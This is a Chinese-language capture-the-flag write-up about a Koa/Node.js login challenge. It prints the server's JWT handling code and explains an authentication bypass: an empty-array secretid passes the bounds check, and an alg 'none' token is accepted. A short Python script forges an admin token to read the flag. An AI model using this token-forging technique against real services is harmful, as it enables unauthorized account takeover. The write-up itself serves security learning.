koa框架以及JWT利用
打开页面,发现是登录界面,尝试sql注入闭合测试,发现没有sql注入,所以打开源码,发现一个关键点
所以打开app.js源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| /** * 或许该用 koa-static 来处理静态文件 * 路径该怎么配置?不管了先填个根目录XD */
function login() { const username = $("#username").val(); const password = $("#password").val(); const token = sessionStorage.getItem("token"); $.post("/api/login", {username, password, authorization:token}) .done(function(data) { const {status} = data; if(status) { document.location = "/home"; } }) .fail(function(xhr, textStatus, errorThrown) { alert(xhr.responseJSON.message); }); }
function register() { const username = $("#username").val(); const password = $("#password").val(); $.post("/api/register", {username, password}) .done(function(data) { const { token } = data; sessionStorage.setItem('token', token); document.location = "/login"; }) .fail(function(xhr, textStatus, errorThrown) { alert(xhr.responseJSON.message); }); }
function logout() { $.get('/api/logout').done(function(data) { const {status} = data; if(status) { document.location = '/login'; } }); }
function getflag() { $.get('/api/flag').done(function(data) { const {flag} = data; $("#username").val(flag); }).fail(function(xhr, textStatus, errorThrown) { alert(xhr.responseJSON.message); }); }
|
看到一个提示
可知是koa框架,所以我们可以看一下koa框架的构造
1 2 3 4 5 6 7 8 9 10 11
| controllers目录下的api.js----------------------------------REST API
model目录下的products.js--------------------------------具体的model
node_modules目录下的app.js----------------------------使用koa的js
node_modules目录下的controller.js---------------------扫描注册的controller
node_modules目录下的package.json--------------------项目描叙文件
node_modules目录下的rest.js----------------------------REST的middleware
|
所以我们可以构造
得到主要逻辑代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| const crypto = require('crypto'); const fs = require('fs') const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = { 'POST /api/register': async (ctx, next) => { const {username, password} = ctx.request.body;
if(!username || username === 'admin'){ throw new APIError('register error', 'wrong username'); }
if(global.secrets.length > 100000) { global.secrets = []; }
const secret = crypto.randomBytes(18).toString('hex'); const secretid = global.secrets.length; global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({ token: token });
await next(); },
'POST /api/login': async (ctx, next) => { const {username, password} = ctx.request.body;
if(!username || !password) { throw new APIError('login error', 'username or password is necessary'); }
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { throw new APIError('login error', 'no such secret id'); }
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) { ctx.session.username = username; }
ctx.rest({ status });
await next(); },
'GET /api/flag': async (ctx, next) => { if(ctx.session.username !== 'admin'){ throw new APIError('permission error', 'permission denied'); }
const flag = fs.readFileSync('/flag').toString(); ctx.rest({ flag });
await next(); },
'GET /api/logout': async (ctx, next) => { ctx.session.username = null; ctx.rest({ status: true }) await next(); } };
|
从源码中的
1 2 3 4
| 'GET /api/flag': async (ctx, next) => { if(ctx.session.username !== 'admin'){ throw new APIError('permission error', 'permission denied'); }
|
可知,token值中的username=admin,才可以得到权限,而在注册界面
1
| const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
|
在注册时,生成一个token值作为登录的验证,而nodejs的jwt存在缺陷
1
| const user = jwt.verify(token, secret, {algorithm: 'HS256'});
|
就是在secret为空时,会没有签名认证,但是api.js代码中,设有secret的验证,不可以为空
1 2 3
| if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { throw new APIError('login error', 'no such secret id'); }
|
但是js和php一样,是弱语言类型,所以我们只要设置secretid为小数或空数组,则可以绕过,而在登录界面post提交的username和password与token中的username和password的值必须是一样的
1 2 3 4 5
| const status = username === user.username && password === user.password;
if(status) { ctx.session.username = username; }
|
所以我们可以使用https://jwt.io网站来显示token值中HEADER和PAYLOAD中的结构
HEADER
1 2 3 4
| { "alg": "HS256", "typ": "JWT" }
|
PAYLOAD
1 2 3 4 5 6
| { "secretid": 0, "username": "xc", "password": "123", "iat": 1632839777 }
|
我们可以post提交username=admin&password=123,然后改token中的alg的值为none,username的值为admin,所以exp
1 2 3 4 5 6 7 8 9 10 11 12 13
| import jwt token = jwt.encode( { "secretid": [], "username": "admin", "password": "123", "iat": 1632811865 }, algorithm="none",key="" ).encode('utf=8').decode('utf-8')
print(token)
|
然后提交,点击GET FLAG并抓包提交即可看见flag